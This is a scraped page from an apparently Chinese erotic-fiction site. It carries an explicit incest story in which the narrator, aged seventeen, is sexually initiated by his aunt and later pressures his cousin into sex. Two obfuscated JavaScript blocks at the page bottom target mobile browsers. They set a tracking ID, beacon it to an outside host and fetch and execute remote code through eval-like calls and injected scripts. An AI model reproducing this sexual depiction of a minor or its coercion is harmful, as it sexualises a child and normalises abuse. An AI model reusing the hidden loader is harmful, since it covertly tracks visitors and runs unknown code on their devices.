图片载入中

伤心回忆录

特大字】 【大字】 【中字】 【小字

这不是我的回忆录,而是我的一篇充满了罪恶的伤心史,也可以说它是我的忏情录。

造成我之所以如此胡来,完全是由于我富裕的家庭环境,以及许许多多的客观因素所致。

正因为如此,差一点就害了我,如今回忆起来,在我这半生的岁月中,如果说廿年如梦,那幺半生中的廿年就恍如做了一场春梦似的,其中有无比的欢笑也有无数的眼泪。

本来,我是一个孤儿,父母亲都死在日本鬼子的子弹窟里,想起来是多么的伤痛啊!

抚育我长大的是我的姑母,她是我父亲的二妹。姑丈是一位爱国军人,但不幸的是,抗战时在上海保卫战中阵亡了,他遗留给姑母的,除了一份富厚的家产外,还有一个年龄比我小一岁的表妹。

姑母收养了我,在她的心目中,我将来就是她们杨家的佳婿。

但谁能想到,世事多变,人算不如天算呢!

“增城挂绿”是全国闻名的,这里出产的荔枝,皮外是一条绿线似的围绕着的,在清朝以前,这些荔枝算是无上珍贵的贡品。我们的原籍就是在这广东的增城。

抗战胜利后,姑母携带着我和表妹,迁居广州近郊的花地。

我姑母还很年轻,而且也长得很美,身材修长皮肤雪白,身上的肤肉封满而均称,她很爱我,当然我也爱她。

记得我在复员后第二年,那时我才只有十七岁,表妹忽然无故地患了急性的子宫病症,害得姑母手忙脚乱地马上把她送到妇科医院中留医,因此家里就只留下我和姑母两人。

这是充满神秘诱惑的春天。这晚,姑母和我睡得很早。

然而,春之夜,是那么的静,迷迷茫茫地,有如一个怀春的少女在幽思默想,偶然之间,夜风飘来一两声微响。

“唉呀!啊……唉呀……..”

突然地,一阵急促的单音短哼,惊醒了好梦正甜的我,继而,一声长长“唔……”的呻吟过后,一切又平静了。

“哎呀!….阿泰!阿泰!….”

不一会,姑母在邻房喘喘的叫我。

“什么事?姑母!”我马上接着回答。

“哎呀!阿泰….你..你过来。”又是姑母的声音。

“什么事?姑母!”我想问明原委。

“唉呀!快过来!”她又催促着。

“好!我就来!”我以为姑母发生了什么,于是我迫急不及待地只穿了内衣裤就冲出去。

我冲进姑母房间时,举目一看,唉呀!我的天呀!原来姑母正抱着一个长长的软枕,在床上辗转反侧,好像搅肠沙,发着大病很难过的样子。

她一见我进来,就奄奄一息的对我说:

“哎呀,阿泰….我….我….我的肚子….肚子很痛呀….哎呀….快....快….你….快给我….揉一揉….哎!”

“怎么个揉法呀?”

我一边趋向她的床前,一边发问:

“姑母!揉那里?”

“唔!”她呻吟了一声,掷开枕头,便拉着我的手按在她的腹部上面说: “就是这里,哎呀!好痛!要我的命了!……快给我揉揉吧!”

这时姑母平平正正地躺着,她两条细长的腿,被一条毯子盖着,上身穿着一件白底浅红的睡衣,胸前只扣着两个扣子,好像有两个皮球似地在里面不断地跳动着,很有节奏,随着她的唿吸一起一落。

当我的手按在她的小腹上,突然我感觉有一股热腾腾的热气,由掌心直透丹田,不禁使我全身颤抖了一下,这种感觉是我从未有的。

我在姑母的肚子上轻轻地揉着,不一会,她已微闭双眼也不哼了,我想我的‘揉功’也许生效了。

“姑母!”我说。

“现在好一点了吧!”

“嗯!”她眯着眼,同时嘴角也泛起了一丝微笑。

“比较好一点了,再揉一会吧!”

说罢,她的一只手,像有意无意中似地跌在我的大腿上,接着,她的手背就顺势而下,也像有意无意中碰到了我的小和尚。

本来我就尿急了,小和尚在裤档里早已大发脾气,现在经姑母的手一碰,哎呀!这可更不的了,它在里面猛跳。

就在这同时,我的全身突然好像触到了低压电一样,一阵颤动,继之一阵麻,使我的手下意识的停止了工作。

也就在这同时,只听姑母“嗯”的一声,我连忙转眼一看,只见她的脸上一片潮红,有如吃醉了酒一样,眼眯眯的。

我把视线再向下移,唉呀!我的上帝呀!原来姑母的胸前仅的两个扣子,已不知什么时候跌落了,整个睡衣左右分开,裸露着两个白雪雪的乳子,圆突突的就好像两个山东大馒头似地摆在那里,可爱极了。

尤其是顶端上那两粒红嫩的乳头,好像两粒红桃一样的摆在上面,更加可爱,我真想咬它一口。

“现在肚子不痛了!”这时,姑母一边说,一边抓住我的手塞进毛毯底下,往小腹下一托。

“再揉揉这下面吧!”

我的手下意识地顺势一探。唉呀!我的妈呀!这下可把我吓坏了,原来姑母没有穿裤子呢!我已摸到一块软软的三角肉,鼓鼓的,毛丛丛的,又像半片毛瓜,毛上满布了淫水,常识告诉我,那块连毛约四两轻重的三角软肉,不是姑母的穴还是什么。

这时我想把手抽回,可是就在这同时,姑母却很迅速地把整条毯子拉开,张开两腿,捏着我的中指头,轻轻地朝她的穴里按了进去。

“阿泰,我里面痒得很。”

姑母气若游丝地说道:

“你给我扣扣吧!”

“扣?这个差事我还没有做过呢!究竟怎么扣呢?”我心里这样想着,继而问道:“姑母,怎么扣法呢?”

“傻瓜!”她告诉我。

“就像挖耳朵一样呀!”

于是我便开始工作了,我的指头一伸一屈地挖了一下,我觉得姑母她那个洞洞里面很湿也很宽,像一个袋子,可称是“布袋穴”,这使我的工作进行的很顺利。

接着,我便没头没脑地挖起来,动作很快,很猛也很重。

“哎呀!”我挖不到几下子,姑母又说话了:

“怎么这个样子呢?先磨磨这里呀!”

说罢,她便抓住我的中指,使指头按在穴口正上方的小肉球上。

这个东西半硬不硬,软软地就像我们家乡的名产–“增城挂绿”的荔枝一样。啊!我明白了,生理卫生的老师曾经讲过,这就是女人的阴核。

“先磨一回,然后再挖进去。”

对中目标之后,姑母就似怨似恨地教我:“小傻瓜!像磨墨那样,懂吗?轻轻地,温柔一点!”

“这个我还不懂吗?”我心里这样说。

“小时候读书时,我就学会了。”

于是,我便按照磨墨的方法,指头就转呀转的,在她那个像荔枝的阴核上磨着,大概不到十个回旋,突然姑母就惊叫了起来,但声音不大。

“哎呀….哎呀!阿泰……哎呀!”

“姑母!”我怕我的技术不佳,于是我马上停顿工作,便诚惶诚恐地问道:“做什么啦?是不是磨得不对呀!”

“对!对!”她点点头,微抬眼皮,抚摸着我的大腿,同时对我浅笑。 “就是这样,很好!再磨磨吧!”

姑母这一番赞美,就无形中提高我的工作情绪,于是我便继续再磨起来了,这回,我越转越快,越磨越重。不久,她又气喘喘地叫了起来:

“好….好了….哎呀….别..别再磨了….里面痒....痒得很……快快….哎呀….要我的命了……..”

“像挖耳朵那样?”我小心地请示。

“轻一点是不是?”

“嗯!”她点点头,像迫不及待地催促我:“快呀!”

于是我的指头便移转阵地,向前滑进,开始是一进一出地挖弄着,很浅很慢的。 “啊….哎呀……要命……唔……”

我一边挖一边哼着。

我挖呀挖的,轻轻的,挖得很斯文。

“唉!”她像生气似的:“你这不是要我的命吗?哎呀!傻瓜!挖进去一点呀!重一点,快一点!”

“哼!你真是不好侍后,轻也不是重也不是,慢又不对快又不对!”

我不敢开口说出来,只有在心里说着。

“我怎么会晓得你要一斤还是八两,要坐飞机还是搭船?”

这么一来,我便不管三七二十一,狠狠地一下子就把整个中指插了进去,上半截的手指就放在她的穴里,像打算盘似的拨着,越拨越快,越拨越重,挖得她又在大叫了。

“哎呀….阿泰….你..你呀….挖得我….好..好….好呀….哎呀….唔….啊….我的妈呀.....哎..哎呀……要命了….唔……”

我不知道她是痛苦还是什么,我不理她那么多,照挖不误。

突然地,她一手紧紧抓住我的小和尚,惊唿一声。

“哎呀!你的鸡巴也硬成了这样子?要命了!人小小的,这个鸡巴却这样的大了!”

说罢,她竟一把抱住了我,拉开我挖穴的手,向前往上一挽,我就伏在她的身上了。

当然,我的心跳加剧,脸很烫,又羞又怕。

“阿泰!”

她两眼迷茫地磨擦我的脸,低唿我一声,低得几乎听不到。

“嗯!”我回音更低。

接着,她两手捧着我的脸,深深地吻着,然后把我的裤子拉掉,再托起我的小和尚往她的三角阵地中那个洞里送。

这时,她一面紧按着我的屁股,一面把小腹上挺。怪了!小和尚就好像遇上空袭警报似的一样,行动非常迅速,一下子就滑进那防空洞里去了。

同时,她又轻轻地对我说:

“哎呀!你动一动呀!”

凭良心说,当时我还小,对于性知识确实还很幼稚,虽然略知插穴是须要动屁股的,但由于我还是一个初出道的幼苗,完全没有一点实战的经验,所以一上阵还是心惊胆颤,不敢轻举妄动。

“傻瓜!”

姑母听我这一说,她便双手支着我的上身,同时双脚挟着我的屁股,略一作势,告诉我说:

“就这样动呀!”

“啊!原来就样是这么一个动法,倒很好玩呢!”我的屁股一起一伏地动了起来,同时我心里这样想着。

“动快一点呀!”她说。

“快一点才好。”

于是,我便来个牛顿三定理中的“加速率运动”,使小和尚在防空洞那里跑进跑出,同时,姑母的屁股也在挺呀挺的配合我的动作,我不禁心里暗自好笑。 “插穴就是这玩意儿,的确很有趣。”我心里这样想着。

这时,姑母又叫我摸她的乳子,这下我就得其所哉了,便猛揉其乳子,她轻轻问道:“哎呀!你有没有痛快?”

我感到不好意思,没有回答她,与其说是不好意思,不如说我已无暇回答,还比较来得正确,因为当时我越动越过瘾,越插越来劲,而那种过瘾法与来劲法,简直是无法形容的,所以我只顾猛动我的屁股。

姑母似乎比我更来得过瘾与更来劲,她一面也猛动着屁股,一面不停的在大声叫着。

“哎呀….阿泰….我痛快….快要死了….哎呀....你你….重一点呀……”

我只点点头,没有出声,事实上,我的小和尚干得太痛快了,听她这么一说,我便把动作加快。

这样,我们又干了几分钟,姑母已经快不成了,她的淫水已越流越多,流得不少了,可是我的小和尚它的冲劲十足,仍然还在勇往直冲越插越狠。

这时,姑母一手紧紧地按住我的屁股,不让我再动了,另一只手就来抓我的小和尚头,同时又咬我的肩头和耳根,但咬的并不痛。

“啊!不要动好不好?”她轻轻地向我说。

“你再动,我就要死了!”

“姑母,不知怎样的?”我有点生气:

“我现在觉得特别的过瘾,你痛快了就不准我动了,你太自私了,我才不愿意干呢!”

我第一次向她撒娇,反正我们已经赤裸相见,再无尊卑可言,使我的胆子更大了。

“好好好!”她很干脆,连声答应。

“要是这样,那你就来吧,我决不自私,只要你也懂得痛快,我就是被你插死了也痛快,阿泰!干吧!”

说罢,就把手一松,两腿散开,这样一来,就显得好多了。

我的兴趣正旺!小和尚气休休地,一上阵就志高气扬,威猛刚强而有力,从未泄气,像一尊金身不坏的罗汉,也像一个打不坏的公鸡。

我们又狠狠的干了一会,姑母的阴毛已都是淫水了,而且两腿也流得很多,看样子她实在是不成了。

但是她为了要使我痛快,她情愿牺牲一切来达到我的愿望,因此她虽然是很疲惫和流了很多淫水,可是她仍然不停地配合着我的动作,坚持着我们最后的五分钟。

她的屁股像磨米似地在旋转着,而我的屁股却也在波动着,彼此配合得天衣无缝,妙极了。

这时,我们的汗水直流,因为干得太利害,也许太痛快了,再也无法分神去讲话,只是在动作上进行一切,我终于弃兵了。

突然地,我好像尿急似的,打了一个寒颤,情不自禁的尿出小便了。

但是却比解小便要痛快得不知有多少,原来我也泄精了,怪不得这样舒服。 “阿泰!你已经完全发育了!”姑母在摸我的小和尚的时候,似乎很高兴地说道:“刚才有没有痛快?”

我连连点头,同时用手去摸她的乳子,深深地吻了一下,以示感谢。

我在这种不正常情形之下,给姑母宰了童子鸡。

事后她特别慎重的告诉我,千万不可把这晚的情形泄漏出去,不然她要打死我的。

往后,她常常偷偷摸摸地蒙着表妹来和我幽会,我俩由内侄晋级而为她的小情夫了。

第二天她特别杀了一只老母鸡,清炖当归与黑枣子给我吃,据说是很补“精”的,她一反过去那种端庄的神态,嬉笑的对我说:

“昨晚宰了你的童子鸡,今天赔你一只老母鸡。”

啊!这是人生的解放?还是兽性的作恶?我茫然。

第二个和我性交的女人,便是我的表妹--杨佳茹,她是我所插的第一个原装穴。

表妹虽然比我小一岁,其实算起来,我只比她大三个月而已,我是头年十二月生的,她则在第二年的三月出生,人长的并不美,皮肤黑黑的,不过也像她妈妈那样的丰满。

我对她并没有意思,可是她对我似乎特别热爱,当然这也是有条件的。由于我长得很“棒”,像一个男人的样子,自小姑母就说我很聪明,还有一点,就要亲上加亲,我没父母,她也是独生女,将来我们可陪她母亲终身。

我撕掉她的“封条”--给她开苞,是我十八岁的时候。

由于我的先天足,后天调养得宜,年纪虽不算大,可是那根鸡巴却因经常和姑母插穴,所以便形成愈战愈勇,愈练愈壮了。

尤其那龟头红红的像个熟透的李子,勃起的时候,够硬、够长、够粗,我曾用尺量过,刚好七寸六分半长,直径一寸四,是英尺计算。

可以说,我的鸡巴是巨型的,完全合乎国际标准。

这一天姑母要到香港去探亲,本来表妹也想跟着去,但姑母的意思是说,我一个人在家没伴,要表妹在家陪我。

其实姑母的意思,也无非是想将来把表妹嫁给我,好让以后方便偷情而已,但看到我不喜欢她的女儿,就要制造许多机会来增进我和表妹的感情,因此,表妹就留下来了。

晚饭时,表妹特别做了几样我喜欢吃的菜给我吃,这么一来,我对她的印象无形中也有好的转变。

晚饭后,她去洗澡,我路过那边听到里面有拨水的声音,我心里就已经马上想到女人那方面去了,这都是平日受姑母影响。

“表妹,你在做什么呀!”

“我在洗澡呀!什么事?”

表妹在澡池里这样答复着,其实,我何尝不知呢!

“天气太热了!我也要洗个澡。”

“你稍等一会吧!我很快就洗好了。”

“不!我现在就要洗。”

我一边说,一边就去推门。

哎呀!我的妈呀!谁知道里面的门并没有锁着,我一推就把它推开了,天知道她是有心还是无意!

表妹急忙地从澡池爬起来想关门,谁知道这个时候,我已进去了,想关门也来不及了,她便红着脸说:

“表哥,你这是什么意思呀!”

当时我厚着脸皮答道:

“没什么,你洗澡难道我就不能洗吗?笑话!”

我一边说,一边就脱衣服。

“那么,你要洗,我就出去好了。”

她看到我真把衣服脱了,所以连忙起来就想走的样子。我矫捷的一把拉住她,不让她走。

以往,我只是看见表妹的脸长得黑黑的,但从来没有看过表妹脱光后的身体,今天总算一览无遗了。

原来她长得非常丰满,与她妈相较,有过之而无不及。

乳子大大的,屁股又圆又大,尤其是她两腿交会的地方那块三角肉,见了使我不禁垂涎三尺。上面的毛虽然没她妈妈的长得多,但她的穴却比姑母的长得好一些,长长紧紧的一条穴沟,像一片柳叶,她的穴是属于“柳叶穴”,这种穴是最上乘的,在我过去欢乐岁月中,是很难碰到的。

还有她那两条修长的玉腿,也非常令人喜欢的。

当然,在这个时候,她要走我是不会容许的,所以我走了过去,横腰一抱,同时在她的脸上深深一吻,然后告诉她:

“我才不让你走呢!”

“那怎么行?你要干什么?”

“有什么不行?反正姑母又不在家,我们高兴怎么玩就怎么玩!”

说罢,我便伸手去摸她的乳子。

啊!妙极了!原来她的乳子和她母亲的不一样,姑母的乳子大是大得可以,但松软得很,是列入“馒头乳”这类型的,而表妹的乳子则鼓涨得很紧,也很硬,里面好像还有个核似的。

“到底处女就是处女。”

我一边摸,心里就这么想着。

“不要这样好不好?”

她可能是心里也高兴给我抚摸,所以只是在嘴说而不予抗拒,完全任由我两只不规矩的手大肆地活动。

因此,我的胆子也就更大了,于是我便一手挽着她的腰,一手就去摸索她那“迷魂潭”,那潭上的芳草,虽然只是稀疏几根,但却长得非常柔嫩。 她的却是道道地地的“原装货”,阴户的肉显得特别肥,但肉缝却不大。 这时,我马上就想插她,硬挺挺的鸡巴已经在她的小腹上挺着,这么一来,表妹就说话了:

“你不是要洗澡吗?怎么现在又不去洗了呢?”

“我现在不想洗了,要嘛,你陪我一起洗!”

“我真没想到,你一下就变得这么调皮!”

她似羞还笑的说:

“好!我陪你洗吧!只是不许胡来!”

“好的!”

我高兴极了,便拉着她一同进入澡池。

在澡池中,我那还有心洗澡呢?只不过浸在温水中泡泡而已,其实醉翁之意不在“洗”,所以就在她身上乱摸一通。

这时候,她也许有点春心动荡了,人到底是人,又何况她还是一个“原封未动”的青春少女,于是她对我说:

“快点洗好不好,不要摸了,要不要我给你擦擦!”

这当然是我非常乐意的了,于是我便躺在澡池的边缘上,同时把毛巾递给了她说:“那就有你了!”

“死不要脸,你躺好我才好擦呀!”

我高兴的俯伏下去,先让她给我擦擦背,然后又翻过来让她擦。

她又开始给我擦胸膛了,擦呀擦的,谁知,还没擦到小腹上,我的鸡巴已硬得不能再硬了,于是我说:

“其他的地方不要擦了!”

我手指着鸡巴,说:

“先给我擦擦这里!”

这时,她的确是进退两难了,只好用手去摸我的鸡巴,同时又摸了摸我的阴毛,说:“你什么时候长得这么大了?”

“大概是去年吧……”

我一面回答,一面也伸手去摸她的小穴,并问她:“你的呢?”

“跟你一样!”她笑着答复我。

这时,她的穴口似乎已在流水了,我知道,这正是女人想插的时候。

所谓“机会难逢,稍纵即失”,于是我便把握时机,连忙翻身起来,把她抱到一边,两人同时躺在地上,先把她的两条大腿分开,然后再伏在她的身上,把两只手支在地上,支撑我的身体,让下半身与她的屁股吻合。

我采取插姑母那一套“天覆地仰”的古老传统姿式来插她,挺着那根又长又硬的大鸡巴,直挺黄龙洞府。

谁知因为我表妹还是“原封不动”尚且贴着“封条”的,不像姑母那个没有“铁丝网”架设的那样,一冲就可冲进去。

我冲呀冲的“挥军”前进,前仆后继,我发起了猛力,还是无法冲进她的阵地半步。

于是我马上改变“战术”,以“压倒”之势,把她整个身体都伏了下去,以便空出双手,去拨开她的“阵门”,谁知还是不行。

这时候,表妹在我“压倒攻击”之下,眼看这场剧烈的“肉战”已到了“白热化”的最后关头,自己迟早都要被攻进的,所以她自动的“阵前起义”,就伸手引导我,好让我直达阵地。

她一手抓着我的鸡巴,一手去翻开她的穴口,也许她心里想,这样或许可让我插进去了,谁知我插了好一会,身上已全身大汗了,可是仍然还是一点办法也没有,真是气死我了。

这时,我想了想,便另出主意,转换一个姿势,于是我把两条大毛巾叠起来,像枕头一样垫在她的屁股上,这么一来,她的穴口就显得向上朝起了,我再拨开她的双腿,分别放在我的两肩上,同时扳住她的大腿,改用“老汉推车”的姿势去插她。

我低下头去,挺着鸡巴对准了她的穴口直冲,谁知“潭浅水深”,还是无法插进去。

表妹也拼命的把穴扳开,这才进了一点点龟头。

这时,我已是忍无可忍,非进不可了,于是我两手前伸,抓紧了她的乳子,也不管她的死活,便用足了十二分劲道,把屁股向前一挺,这一下整个鸡巴才进入五分之二,我怕她会痛,所以关怀的问:

“表妹,痛不痛?”

她摇摇头,然后笑笑说:

“不!你用力插好了,反正要痛一次,我受不了时会叫你停的。”

也许她这时已被我插得不痛不痒的,所以才会这样交代我,听她这么一说,我才放心。

于是我又开始动了,我越插越深,她惊叫出来:

“哎呀!不行了!痛死我了!赶快下来。”

“好!我慢慢来,浅一点好了!”

于是我把鸡巴抽出一点,继续插着。

然而插穴这个玩意儿,又有谁能控制得住,必定是越插越深越重的,但是当我插得稍为深一点时,表妹也就必会唿痛。

到底人心是肉做的,何况她是我的表妹,所以她每一唿痛的时候,我的鸡巴就不敢再继续前进。

“假如这个插法,就是插上一整天也无法进去呀!”我心里这样想着,真想马上撤退,不插算了。

当我这一意念方完,突然我又想起另一个办法来了,那就是“反客为主”,把这一切动作交给表妹,由她主动。

全文完


上一篇:可凤之乱伦

下一篇:打个篮球 结果女友被人干


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};